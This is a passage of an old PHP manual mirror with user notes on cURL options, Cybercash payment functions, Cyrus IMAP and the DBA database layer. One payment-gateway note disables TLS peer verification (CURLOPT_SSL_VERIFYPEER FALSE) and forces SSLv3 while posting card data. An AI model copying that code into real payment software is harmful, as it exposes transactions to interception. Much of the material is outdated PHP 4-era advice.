then you only get the headers output inline with the rest of your response. Here's a nice little function to parse the cURL response when you use CURLOPT_HEADER.  I took it from an example on another site and turned it into a function. It assumes you're using CURLOPT_RETURNTRANSFER to return the response to some variable that is then passed to the function. You just pass it a curl_exec result and it returns the result parsed into an array with headers broken up into their correct parts.

<?php
function parse_response($response){
   /*
   ***original code extracted from examples at
   ***http://www.webreference.com/programming
                           /php/cookbook/chap11/1/3.html

   ***returns an array in the following format which varies depending on headers returned

       [0] => the HTTP error or response code such as 404
       [1] => Array
       (
           [Server] => Microsoft-IIS/5.0
           [Date] => Wed, 28 Apr 2004 23:29:20 GMT
           [X-Powered-By] => ASP.NET
           [Connection] => close
           [Set-Cookie] => COOKIESTUFF
           [Expires] => Thu, 01 Dec 1994 16:00:00 GMT
           [Content-Type] => text/html
           [Content-Length] => 4040
       )
       [2] => Response body (string)
*/

   list($response_headers,$response_body) = explode("\r\n\r\n",$response,2);
   $response_header_lines = explode("\r\n",$response_headers);

   // first line of headers is the HTTP response code
   $http_response_line = array_shift($response_header_lines);
   if (preg_match('@^HTTP/[0-9]\.[0-9] ([0-9]{3})@',$http_response_line,
                   $matches)) {
       $response_code = $matches[1];
   }

   // put the rest of the headers in an array
   $response_header_array = array();
   foreach ($response_header_lines as $header_line) {
       list($header,$value) = explode(': ',$header_line,2);
       $response_header_array[$header] = $value;
   }

   return array($response_code,$response_header_array,$response_body);
}
?>
Jakub Horky <jakub dot php at horky dot net>
05-Apr-2004 04:20
A bit more documentation (without minimum version numbers):

- CURLOPT_WRITEFUNCTION
- CURLOPT_HEADERFUNCTION
  Pass a function which will be called to write data or headers respectively. The callback function prototype:

long write_callback (resource ch, string data)

The ch argument is CURL session handle. The data argument is data received. Note that its size is variable. When writing data, as much data as possible will be returned in all invokes. When writing headers, exactly one complete header line is returned for better parsing.
The function must return number of bytes actually taken care of. If that amount differs from the amount passed to this function, an error will occur.

- CURLOPT_READFUNCTION
  Pass a function which will be called to read data. The callback function prototype:

string read_callback (resource ch, resource fd, long length)

The ch argument is CURL session handle. The fd argument is file descriptor passed to CURL by CURLOPT_INFILE option. The length argument is maximum length which can be returned.
The function must return string containing the data which were read. If length of the data is more than maximum length, it will be truncated to maximum length. Returning anything else than a string means an EOF.

[Note: there is more callbacks implemented in current cURL library but they aren't unfortunately implemented in php curl interface yet.]
tim dot php at ebw dot ca
19-Nov-2003 10:18
The page http://curl.haxx.se/libcurl/c/curl_easy_setopt.html at the cURL site has a list of all the CURLOPTS, including many not mentioned here. Also see http://curl.haxx.se/libcurl/php/examples/ for cURL examples in PHP.
me
15-May-2003 12:36
Just a reminder: When setting your CURLOPT_POSTFIELDS remember to replace the spaces in your values with %20
joeldegan AT yahoo.com
25-Feb-2003 05:38
Often times people ask about how to get data from secure servers.

Here is an example of getting the balance page from Paypal
<?
# script by Joel De Gan
# http://listbid.com

function GetCurlPage ($pageSpec) {

   $agent = "up.b";
   $header[] = "Accept: text/vnd.wap.wml,*.*";
       $ch = curl_init($pageSpec);
     curl_setopt($ch,    CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch,    CURLOPT_VERBOSE, 1); ########### debug
   curl_setopt($ch,    CURLOPT_USERAGENT, $agent);
   curl_setopt ($ch,    CURLOPT_HTTPHEADER, $header);
   curl_setopt($ch,    CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch,    CURLOPT_COOKIEJAR, "cook");
   curl_setopt($ch,    CURLOPT_COOKIEFILE, "cook");
       $tmp = curl_exec ($ch);
       curl_close ($ch);
   return $tmp;
}
function PostCurlPage ($pageSpec, $data) {

   $agent = "up.b";
   $header[] = "Accept: text/vnd.wap.wml,*.*";
       $ch = curl_init($pageSpec);
     curl_setopt($ch,    CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch,    CURLOPT_VERBOSE, 1); ########### debug
   curl_setopt($ch,    CURLOPT_USERAGENT, $agent);
   curl_setopt ($ch,    CURLOPT_HTTPHEADER, $header);
   curl_setopt($ch,    CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch,    CURLOPT_COOKIEJAR, "cook");
   curl_setopt($ch,    CURLOPT_COOKIEFILE, "cook");
   curl_setopt($ch,    CURLOPT_POST, 1);
   curl_setopt($ch,    CURLOPT_POSTFIELDS, $data);

       $tmp = curl_exec ($ch);
       curl_close ($ch);
   return $tmp;
}

$first = GetCurlPage("https://www.paypal.com/cgi-bin/phscr?cmd=login");
$exp = explode("=", $first);
$id = explode("\"", $exp[16]);

$second = PostCurlPage("https://www.paypal.com/cgi-bin/phscr?rs=".$id[0], "email=EMAIL@HOST.COM&pass=YOUR_PP_PASS&cmd=login-submit-pass");

echo $second."\n\n";
?>
yann dot corno at free dot fr
13-Nov-2002 08:19
About the CURLOPT_HTTPHEADER option, it took me some time to figure out how to format the so-called 'Array'. It fact, it is a list of strings. If Curl was already defining a header item, yours will replace it. Here is an example to change the Content Type in a POST:

curl_setopt ($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml"));

Yann
24-Oct-2002 03:04
beware that not all cURLlib constants are supported under php :
e.g. CURLOPT_PROGRESSFUNCTION or CURLOPT_WRITEDATA are not supported.

CURLOPT_WRITEFUNCTION, although undocumented is supported. It takes the name of a user_defined function.
the function should take two arguments (the curl handle, and the inputdata) and return the length of the written data
e.g.

function myPoorProgressFunc($ch,$str){
global $fd;
$len = fwrite($fd,$str);
print("#");
return $len;
}

curl_setopt($ch,CURLOPT_WRITEFUNCTION,"myPoorProgressFunc");

Also be aware that CURLOPT_WRITEFUNCTION  does NOT take the CURLOPT_FILE as a parameter!
in curl lib it would take CURLOPT_WRITEDATA but this is not supported by php; that's why I use "global $fd;" in my exemple function.

CURLOPT_HEADERFUNCTION works the same, and is guaranteed to receive complete header lines as input!

Hope this helps

Ivan
m dot fische at gmx dot net
09-Oct-2002 06:42
note: if your option comes from a variable eg:

$option = "CURLOPT_RETURNTRANSFER";
$value = "1";

this will fail:

curl_setopt($ch,$option,$value);

because the curl option is a constant.
use the function constant() to get the value:

curl_setopt($ch,constant($option),$value);
mrcheezy at hotmail dot com
14-Sep-2002 05:34
If you set return transfer to 1 and are sending a post form and find that this crashes php try setting follow location to 1 also. I'm not exactly sure why this crashed, but after i used follow it stopped.

     curl_setopt ($sess, CURLOPT_FOLLOWLOCATION, '1');
     curl_setopt ($sess, CURLOPT_RETURNTRANSFER, '1');
paul at zgtec dot com
27-Aug-2002 05:31
To make a POST in multipart/form-data mode
this worked for me, the " \n" at the end of the variables was very important on my OS X server.

<?php

$file = "file_to_upload.txt";
$submit_url = "http://www.url_to_upload_to.com/upload_page.php";

$formvars = array("cc"=>"us \n");
$formvars[variable_1] = "bla bla \n";
$formvars[variable_2] = "bla bla \n";
$formvars[variable_3] = "bla bla \n";
$formvars[variable_4] = "bla bla \n";
$formvars[upfile] = "@$file"; // "@" causes cURL to send as file and not string (I believe)

   // init curl handle
   $ch = curl_init($submit_url);
   curl_setopt($ch, CURLOPT_COOKIEJAR, "my_cookies.txt");  //initiates cookie file if needed
   curl_setopt($ch, CURLOPT_COOKIEFILE, "my_cookies.txt");  // Uses cookies from previous session if exist
   curl_setopt($ch, CURLOPT_REFERER, "http://www.last_url_for_referer_logs.com");  //if server needs to think this post came from elsewhere
   curl_setopt($ch, CURLOPT_VERBOSE, 1);
   curl_setopt($ch, CURLOPT_HEADER, 1);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); // follow redirects recursively
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $formvars);

   // perform post
   echo $pnp_result_page = curl_exec($ch);
   curl_close ($ch);

?>
jckim at iquick4u dot com
16-Apr-2002 11:05
#!/usr/local/bin/php -q
<?php

$id = "xxxx";
$pw = "xxxx";

$LOGINURL = "http://login.daum.net/Mail-bin/login.cgi";
$GETURL  = "http://www.daum.net/Mail-bin/mail_list";
$POSTFIELDS = "id=$id&pw=$pw";

function AUTH_SITE_COOKIE_STORE($LOGINURL,$POSTFIELDS)
{
   $parseURL = parse_url($LOGINURL);

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_COOKIEJAR, "$parseURL[host].cookie");
   curl_setopt($ch, CURLOPT_URL,"$LOGINURL");
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, "$POSTFIELDS");

   ob_start();
   curl_exec ($ch);
   ob_end_clean();

   curl_close ($ch);
   return "$parseURL[host].cookie";
}

function AUTH_SITE_GET($GETURL,$cookieFile)
{
   $parseURL = parse_url($GETURL);

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
   curl_setopt($ch, CURLOPT_COOKIEFILE, "$cookieFile");
   curl_setopt($ch, CURLOPT_URL,"$GETURL");
   $result = curl_exec ($ch);
   curl_close ($ch);

   $fp = fopen ("$parseURL[host].html", "w");
   fwrite($fp,$result);
   fclose ($fp);

   return $result;
}

$cookieFile = AUTH_SITE_COOKIE_STORE($LOGINURL,$POSTFIELDS);
echo $result = AUTH_SITE_GET($GETURL,$cookieFile);

?>
tychay at alumni dot caltech dot edu
03-Apr-2002 05:14
CURLOPT_HTTPHEADER is NOT like the -H command line switch. The command line switch adds or replaces headers (much like the header() line in PHP, but for HTTP clients instead of servers), but the curl extension will eliminate the headers cURL sends by default.

For instance, your Authorization, Host, Referer, Pragma, and Accept headers which are normally written by default or by other CURLOPT_*'s.

Also, it might seem intuitive that this should accept an array hash of header->values, but this is not the case. It accepts an array of strings of the format "Header: Value", much like the -H command-line switch.

Hope this helps,

terry
asmith at crawlspace dot com
01-Mar-2002 11:18
It's possible to take advantage of multiple URLs on the same host in one curl_exec transaction ... just use multiple instances of CURLOPT_URL.

Example:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://foo.com/a.html");
curl_setopt($ch, CURLOPT_URL, "http://foo.com/b.html");
curl_setopt($ch, CURLOPT_URL, "http://foo.com/c.html");
curl_exec($ch);
curl_close($ch);

... the URLs appear to be hit in the same order they are entered. This takes advantage of cURL's Persistant Connection capability if all the URLs are on the same host!
bvwj at swbell dot net
18-Dec-2001 05:35
To collect cookies recieved with a request, set CURLOPT_COOKIEJAR "cookieFileName".  Then use CURLOPT_COOKIEFILE "cookieFileName" to recall them in subsequent transactions.
23-Sep-2001 12:52
To make a POST in multipart/form-data mode
(to upload a file for example) you can use

curl_setopt($ch,CURLOPT_POSTFIELDS,$post);

where $post is an array :
$post['key1'] = 'data1'
//  like a text field in a POST

$post['file1'] = '@filename1'
// upload filename1

For more informations see the
curl_formparse man page.
sr2899.at.hotmail.com
15-May-2001 05:00
CURLOPT_RETURNTRANSFER has the interesting behaviour of tacking a null char onto the end of the string.  This null char is actually on the end of the php string, and can cause some odd results if you're not expecting it to be there.
fil at rezox dot com
22-Feb-2001 09:50
If you want to connect to a secure server for posting info/reading info, you need to make cURL with the openSSL options. Then the sequence is nearly identical to the previous example (except http_S_://, and possibly add the useragent):

curl_setopt($ch, CURLOPT_URL,"https://secure.website.com");
//some sites only accept your request if your browser looks legit, so send a useragent profile...
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
bvr at xs4all dot nl
07-Feb-2001 11:09
If you'd like to include extra headers in your POST request, you can accomplish this by setting the following option:

CURLOPT_HTTPHEADER

This is similar to the CURL -H command line switch.

Thanks to Daniel Stenberg for pointing out this usefull feature!

Note: this option was first supported in PHP version 4.03 .
awestholm at imail dot usi dot net
26-Jan-2001 03:33
Just because the docs are rather sparse on this, to set multiple values in a cookie, you separate them with a semicolon, as usual. An example, yo set j to j and k to k:
curl_setopt($ch,CURLOPT_COOKIE,"j=j;k=k");

   -- Alex
add a note add a note

后退 | 起点 | 前进
curl_multi_select | 上一级 | curl_version


curl_version

(PHP 4 >= 4.0.2, PHP 5)

curl_version -- Return the current CURL version

Description

array curl_version ( [int version] )

The curl_version() function returns a string containing the current CURL version.

add a note add a note User Contributed Notes
clay at killersoft dot com
24-Aug-2004 02:24
PHP 5.0.1 does NOT return a string for curl_version -- it instead returns an array in this format. (Values are for my dev box at the time of this writing, your results will vary.)

Array
(
   [version_number] => 461570
   [age] => 1
   [features] => 541
   [ssl_version_number] => 9465935
   [version] => 7.11.2
   [host] => powerpc-apple-darwin6.8
   [ssl_version] =>  OpenSSL/0.9.7d
   [libz_version] => 1.1.3
   [protocols] => Array
       (
           [0] => ftp
           [1] => gopher
           [2] => telnet
           [3] => dict
           [4] => ldap
           [5] => http
           [6] => file
           [7] => https
           [8] => ftps
       )

)
add a note add a note

后退 | 起点 | 前进
curl_setopt | 上一级 | Cybercash Payment Functions


Cybercash Payment Functions

PHP 手册
后退 前进

XIX. Cybercash Payment Functions

安装

These functions are only available if the interpreter has been compiled with the --with-cybercash=[DIR].

This extension has been moved from PHP as of PHP 4.3.0 and now CyberCash lives in PECL.

If you have questions as to the latest status of CyberCash then the following CyberCash Faq will be helpful. In short, CyberCash was bought out by VeriSign and although the CyberCash service continues to exist, VeriSign encourages users to switch. See the above faq and PECL link for details.

目录
cybercash_base64_decode -- base64 decode data for Cybercash
cybercash_base64_encode -- base64 encode data for Cybercash
cybercash_decr -- Cybercash decrypt
cybercash_encr -- Cybercash encrypt

add a note add a note User Contributed Notes
hostmaster at shupp dot org
28-May-2005 09:51
Here's how to install cybercash dynamically into PHP
----------------------------------------------------

1. Make sure you have the php dev tools installed, like pear and phpize.

2. Download the cybercash module:

pear download cybercash

3. Untar the module:

tar -xzf cybercash-<version>.tgz

4. Download and install my updated config.m4 file, the current one (as of version 1.18p1) doesn't work:

wget http://shupp.org/patches/cybercash.config.m4
cd cybercash-<version>
mv ../cybercash.config.m4 config.m4

5. Setup/compile module

phpize
./configure --with-cybercash=/path/to/cybercash-source/c-api
make

6. Install module.  For Debian Sarge, the modules directory is /usr/lib/php4/20020429/:

cp modules/cybercash.so /usr/lib/php4/20020429/
(make install may work also)

7. Enable the module in php.ini, restart apache.

Hope this saves someone else some time.

Bill Shupp
chris at scootersoftware dot com
07-Jan-2005 01:15
How to compile Cybercash support statically into PHP
-----------------------------------------

Verisign did not force migration from Cybercash to Payflow Pro.  Cybercash is still alive and well for existing customers.

The Cybercash in PECL does not work at this time (see http://pecl.php.net/bugs/bug.php?id=1296 ).  The work around listed in the bug report didn't work on my system.

Here's how I compiled Cybercash support into php 4.3.10:
(I used autoconf 2.13, automake 1.5, and libtool 1.4.3, but I don't know if they are required)

Download source tarballs for php 4.2.3 (the last version with Cybercash support) and php 4.3.10.

Copy the ext/cybercash directory from the 4.2.3 source tarball into the php 4.3.10 source.

From the root of the PHP 4.3.10 source run:
./buildconf --force

Configure pointing to your Cybercash MCK libraries:
./configure --with-cybercash=/opt/local/src/mck-vernum --with-your-other-options

make

make install

Restart Apache to pick up the changes.
david at azcode dot com
10-Mar-2004 10:53
I am suprised to see recent posting for CyberCash implementation considering they haven't been a company for almost four years now.  When VeriSign bought them, they force migrated everyone to Payflow Pro - which is why I switched to iBill.com (now InterCept's iPay) gateway.  Either way, the below code (using cURL) should allow a transaction to post without a local COM obj to a secure payment server via SSL.  check it out...

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,"https://secure.ibill.com/cgi-win/ccard/tpcard.exe");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // this line make is work under https

curl_setopt($ch, CURLOPT_TIMEOUT, 90);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSLVERSION, 3);

$RECEIPT = curl_exec($ch);

$RECEIPT = preg_replace("/\n?\r?/","",$RECEIPT);
curl_close ($ch);

$receipt_fields = preg_split("/\",\"/", $RECEIPT, -1, PREG_SPLIT_NO_EMPTY);
$authorization = $receipt_fields[0];
$authorization = preg_replace("/]^a-z0-9]/i","",$authorization);
   $authcode = $receipt_fields[1];
   $rDate = $receipt_fields[2];
   $rTime = $receipt_fields[3];
   $rTran = $receipt_fields[4];
   $rcRef = $receipt_fields[5];
   $avscode = $receipt_fields[6];
   $psdata = $receipt_fields[7];
   if(!isset($receipt_fields[8])) {
       $revsh = "none";
   }else { $revsh = $receipt_fields[8]; }
   if(!isset($receipt_fields[9])) {
       $fraud = "none";
   }else { $fraud = $receipt_fields[9]; }
nathan at cjhunter dot com
01-Aug-2000 08:18
We use cybercash and php for all our website's financial transactions. I developed CyberClass (http://www.zend.com/codex.php?id=115&single=1) as a clean up and extension of CyberLib. I recommend that you use CyberClass over CybeLib.
mikebabcock at pobox dot com
18-Jul-2000 12:34
The cyberlib.php file is a library of functions for use with your Cybercash transaction php files.  The test.php file contains an example transaction that is very simple:

 $merchant=""; /* Your merchant ID goes here. */
 $merchant_key=""; /* Your merchant key goes here. */
 $payment_url="http://cr.cybercash.com/cgi-bin/";
 $auth_type="mauthonly";

 $response=SendCC2_1Server($merchant,$merchant_key,$payment_url,
               $auth_type,array("Order-ID" => "2342322",
               "Amount" => "usd 11.50",
               "Card-Number" => "4111111111111111",
               "Card-Address" => "1600 Pennsylvania Avenue",
               "Card-City" => "Washington",
               "Card-State" => "DC",
               "Card-Zip" => "20500",
               "Card-Country" => "USA",
               "Card-Exp" => "12/99",
               "Card-Name" => "Bill Clinton"));

  while(list($key,$val)=each($response))
  {
   echo $key."=".$val."<br>";
  }

For all those without source; hope this helps.
dave at bcdei dot com
07-Jul-2000 10:54
**Posted to the newgroup by Mike Robinson <mgrphp3@cgocable.net> **

In the php4 source, under ext/cybercash, you'll see a couple of files with
sample snippets in them, cyberlib.php and test.php. The mck comes with some
documentation as well. (Note, in the php3 source, the dir is extra/cyberlib)
Other than that, I've seen very little.
add a note add a note

后退 | 起点 | 前进
curl_version | 上一级 | cybercash_base64_decode


cybercash_base64_decode

(PHP 4 <= 4.2.3, PECL)

cybercash_base64_decode -- base64 decode data for Cybercash

Description

string cybercash_base64_decode ( string inbuff )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Cybercash Payment Functions | 上一级 | cybercash_base64_encode


cybercash_base64_encode

(PHP 4 <= 4.2.3, PECL)

cybercash_base64_encode -- base64 encode data for Cybercash

Description

string cybercash_base64_encode ( string inbuff )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cybercash_base64_decode | 上一级 | cybercash_decr


cybercash_decr

(PHP 4 <= 4.2.3, PECL)

cybercash_decr -- Cybercash decrypt

Description

array cybercash_decr ( string wmk, string sk, string inbuff )

The function returns an associative array with the elements "errcode" and, if "errcode" is FALSE, "outbuff" (string), "outLth" (long) and "macbuff" (string).

add a note add a note User Contributed Notes
scott at mha dot ca
03-Oct-2001 11:09
assuming that you have a function called "read_value_pairs" which will convert a urlencoded string into an array of values .. this should more-or-less work:

$vars = read_value_pairs($response_from_http_form_post);

$vars["message"] = cybercash_base64_decode($vars["message"]);
$vars["mac"] = cybercash_base64_decode($vars["mac"]);
$decr = cybercash_decr($merchant_key, $vars["session-key"], $vars["message"]);

if($decr["errcode"]) {
   $response["MStatus"]="failure-hard";
   $response["MErrMsg"]="error talking to server.";
} else if($decr["macbuff"] != $vars["mac"]) {
   $response["MStatus"]="failure-hard";
   $response["MErrMsg"]="signature does not match.";
} else {
   $response = read_value_pairs($decr["outbuff"]);
}
add a note add a note

后退 | 起点 | 前进
cybercash_base64_encode | 上一级 | cybercash_encr


cybercash_encr

(PHP 4 <= 4.2.3, PECL)

cybercash_encr -- Cybercash encrypt

Description

array cybercash_encr ( string wmk, string sk, string inbuff )

The function returns an associative array with the elements "errcode" and, if "errcode" is FALSE, "outbuff" (string), "outLth" (long) and "macbuff" (string).

add a note add a note User Contributed Notes
scott at mha dot ca
03-Oct-2001 10:51
if you do not know how the MCK works, this will not help you .. but for those of you that know how the MCK works but are unclear as to how to use this function, here are some tips: $wmk is the merchant_key, $sk is the session_key and $inbuff is a urlencoded string of value pairs, i.e. "order-id=12345&amount=USD+12.34&card_number=....." .. the output array contains values for "macbuff" and "outbuff" which, in MCK terms, are the "mac" and "message" values which you must send with the session_key via urlencoded http post .. but both the macbuff and outbuff will have to be processed by cybercash_base64_encode before you can send them .. the rest is pretty much the same as the MCK
add a note add a note

后退 | 起点 | 前进
cybercash_decr | 上一级 | Cyrus IMAP administration Functions


Cyrus IMAP administration Functions

PHP 手册
后退 前进

XX. Cyrus IMAP administration Functions

简介

警告

本函数暂无文档，仅有参数列表。

注: 本扩展模块在 Windows 平台下不可用。

安装

To enable Cyrus IMAP support and to use these functions you have to compile PHP with the --with-cyrus option.

警告

IMAP 扩展模块不能和 recode 扩展模块，YAZ 扩展模块以及 Cyrus 扩展模块同时使用。因为它们使用了相同的内部符号。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

CYRUS_CONN_NONSYNCLITERAL (integer)

CYRUS_CONN_INITIALRESPONSE (integer)

CYRUS_CALLBACK_NUMBERED (integer)

CYRUS_CALLBACK_NOLITERAL (integer)

目录
cyrus_authenticate -- Authenticate against a Cyrus IMAP server
cyrus_bind -- Bind callbacks to a Cyrus IMAP connection
cyrus_close -- Close connection to a Cyrus IMAP server
cyrus_connect -- Connect to a Cyrus IMAP server
cyrus_query -- Send a query to a Cyrus IMAP server
cyrus_unbind -- Unbind ...

add a note add a note User Contributed Notes
Matt AKA Junkie
13-May-2004 04:11
This is an IMAP server you can access in PHP. More information here:
http://asg.web.cmu.edu/cyrus/imapd/
add a note add a note

后退 | 起点 | 前进
cybercash_encr | 上一级 | cyrus_authenticate


cyrus_authenticate

(PHP 4 >= 4.1.0, PECL)

cyrus_authenticate -- Authenticate against a Cyrus IMAP server

Description

void cyrus_authenticate ( resource connection [, string mechlist [, string service [, string user [, int minssf [, int maxssf [, string authname [, string password]]]]]]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Cyrus IMAP administration Functions | 上一级 | cyrus_bind


cyrus_bind

(PHP 4 >= 4.1.0, PECL)

cyrus_bind -- Bind callbacks to a Cyrus IMAP connection

Description

bool cyrus_bind ( resource connection, array callbacks )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cyrus_authenticate | 上一级 | cyrus_close


cyrus_close

(PHP 4 >= 4.1.0, PECL)

cyrus_close -- Close connection to a Cyrus IMAP server

Description

bool cyrus_close ( resource connection )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cyrus_bind | 上一级 | cyrus_connect


cyrus_connect

(PHP 4 >= 4.1.0, PECL)

cyrus_connect -- Connect to a Cyrus IMAP server

Description

resource cyrus_connect ( [string host [, string port [, int flags]]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cyrus_close | 上一级 | cyrus_query


cyrus_query

(PHP 4 >= 4.1.0, PECL)

cyrus_query -- Send a query to a Cyrus IMAP server

Description

array cyrus_query ( resource connection, string query )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cyrus_connect | 上一级 | cyrus_unbind


cyrus_unbind

(PHP 4 >= 4.1.0, PECL)

cyrus_unbind -- Unbind ...

Description

bool cyrus_unbind ( resource connection, string trigger_name )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cyrus_query | 上一级 | Database (dbm-style) Abstraction Layer Functions


Database (dbm-style) Abstraction Layer Functions

PHP 手册
后退 前进

XXI. Database (dbm-style) Abstraction Layer Functions

简介

These functions build the foundation for accessing Berkeley DB style databases.

This is a general abstraction layer for several file-based databases. As such, functionality is limited to a common subset of features supported by modern databases such as Sleepycat Software's DB2. (This is not to be confused with IBM's DB2 software, which is supported through the ODBC functions.)

需求

The behaviour of various aspects depends on the implementation of the underlying database. Functions such as dba_optimize() and dba_sync() will do what they promise for one database and will do nothing for others. You have to download and install supported dba-Handlers.

表格 1. List of DBA handlers

Handler | Notes
dbm | Dbm is the oldest (original) type of Berkeley DB style databases. You should avoid it, if possible. We do not support the compatibility functions built into DB2 and gdbm, because they are only compatible on the source code level, but cannot handle the original dbm format.
ndbm | Ndbm is a newer type and more flexible than dbm. It still has most of the arbitrary limits of dbm (therefore it is deprecated).
gdbm | Gdbm is the GNU database manager.
db2 | DB2 is Sleepycat Software's DB2. It is described as "a programmatic toolkit that provides high-performance built-in database support for both standalone and client/server applications.
db3 | DB3 is Sleepycat Software's DB3.
db4 | DB4 is Sleepycat Software's DB4. This is available since PHP 4.3.2.
cdb | Cdb is "a fast, reliable, lightweight package for creating and reading constant databases." It is from the author of qmail and can be found at http://cr.yp.to/cdb.html. Since it is constant, we support only reading operations. And since PHP 4.3.0 we support writing (not updating) through the internal cdb library.
cdb_make | Since PHP 4.3.0 we support creation (not updating) of cdb files when the bundled cdb library is used.
flatfile | This is available since PHP 4.3.0 for compatibility with the deprecated dbm extension only and should be avoided. However you may use this where files were created in this format. That happens when configure could not find any external library.
inifile | This is available since PHP 4.3.3 to be able to modify php.ini files from within PHP scripts. When working with ini files you can pass arrays of the form array(0=>group,1=>value_name) or strings of the form "[group]value_name" where group is optional. As the functions dba_firstkey() and dba_nextkey() return string representations of the key there is a new function dba_key_split() available since PHP 5 which allows to convert the string keys into array keys without loosing FALSE.
qdbm | This is available since PHP 5.0.0. The qdbm library can be loaded from http://qdbm.sourceforge.net.

When invoking the dba_open() or dba_popen() functions, one of the handler names must be supplied as an argument. The actually available list of handlers is displayed by invoking phpinfo() or dba_handlers().

安装

By using the --enable-dba=shared configuration option you can build a dynamic loadable module to enable PHP for basic support of dbm-style databases. You also have to add support for at least one of the following handlers by specifying the --with-XXXX configure switch to your PHP configure line.

警告

After configuring and compiling PHP you must execute the following test from commandline: php run-tests.php ext/dba. This shows whether your combination of handlers works. Most problematic are dbm and ndbm which conflict with many installations. The reason for this is that on several systems these libraries are part of more than one other library. The configuration test only prevents you from configuring malfaunctioning single handlers but not combinations.

表格 2. Supported DBA handlers

Handler | Configure Switch
dbm To enable support for dbm add --with-dbm[=DIR].

注: dbm normally is a wrapper which often results in failures. This means you should only use dbm if you are sure it works and if you really need this format.

ndbm To enable support for ndbm add --with-ndbm[=DIR].

注: ndbm normally is a wrapper which often results in failures. This means you should only use ndbm if you are sure it works and if you really need this format.

gdbm | To enable support for gdbm add --with-gdbm[=DIR].
db2 To enable support for db2 add --with-db2[=DIR].

注: db2 conflicts with db3 and db4.

db3 To enable support for db3 add --with-db3[=DIR].

注: db3 conflicts with db2 and db4.

db4 To enable support for db4 add --with-db4[=DIR].

注: db4 conflicts with db2 and db3.

注: This was added in PHP 4.3.2. In earlier versions of PHP you need to use --with-db3=DIR with DIR being the path to db4 library. It is not possible to use db versions starting from 4.1 with PHP prior to version 4.3.0. Also, the db libraries with versions 4.1 through 4.1.24 cannot be used in any PHP version.

cdb To enable support for cdb add --with-cdb[=DIR].

注: Since PHP 4.3.0 you can omit DIR to use the bundled cdb library that adds the cdb_make handler which allows creation of cdb files and allows to access cdb files on the network using PHP's streams.

flatfile To enable support for flatfile add --with-flatfile.

注: This was added in PHP 4.3.0 to add compatibility with deprecated dbm extension. Use this handler only when you cannot install one of the libraries required by the other handlers and when you cannot use bundled cdb handler.

inifile To enable support for inifile add --with-inifile.

注: This was added in PHP 5.0.0 and allows to read and set microsoft style .ini files (like the php.ini file).

qdbm To enable support for qdbm add --with-qdbm[=DIR].

注: qdbm conflicts with dbm and gdbm.

注: This was added in PHP 5.0.0. The qdbm library can be loaded from http://qdbm.sourceforge.net.

注: Up to PHP 4.3.0 you are able to add both db2 and db3 handler but only one of them can be used internally. That means that you cannot have both file formats. Starting with PHP 5.0.0 there is a configuration check avoid such misconfigurations.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

The functions dba_open() and dba_popen() return a handle to the specified database file to access which is used by all other dba-function calls.

预定义常量

本扩展模块未定义任何常量。

范例

例子 1. DBA example

<?php

$id = dba_open("/tmp/test.db", "n", "db2");

if (!$id) {
    echo "dba_open failed\n";
    exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
    echo dba_fetch("key", $id);
    dba_delete("key", $id);
}

dba_close($id);
?>

DBA is binary safe and does not have any arbitrary limits. However, it inherits all limits set by the underlying database implementation.

All file-based databases must provide a way of setting the file mode of a new created database, if that is possible at all. The file mode is commonly passed as the fourth argument to dba_open() or dba_popen().

You can access all entries of a database in a linear way by using the dba_firstkey() and dba_nextkey() functions. You may not change the database while traversing it.

例子 2. Traversing a database

<?php

// ...open database...

$key = dba_firstkey($id);

while ($key != false) {
    if (true) {          // remember the key to perform some action later
        $handle_later[] = $key;
    }
    $key = dba_nextkey($id);
}

foreach ($handle_later as $val) {
    dba_delete($val, $id);
}

?>

目录
dba_close -- Close a DBA database
dba_delete -- Delete DBA entry specified by key
dba_exists -- Check whether key exists
dba_fetch -- Fetch data specified by key
dba_firstkey -- Fetch first key
dba_handlers -- List all the handlers available
dba_insert -- Insert entry
dba_key_split -- Splits a key in string representation into array representation
dba_list -- List all open database files
dba_nextkey -- Fetch next key
dba_open -- Open database
dba_optimize -- Optimize database
dba_popen -- Open database persistently
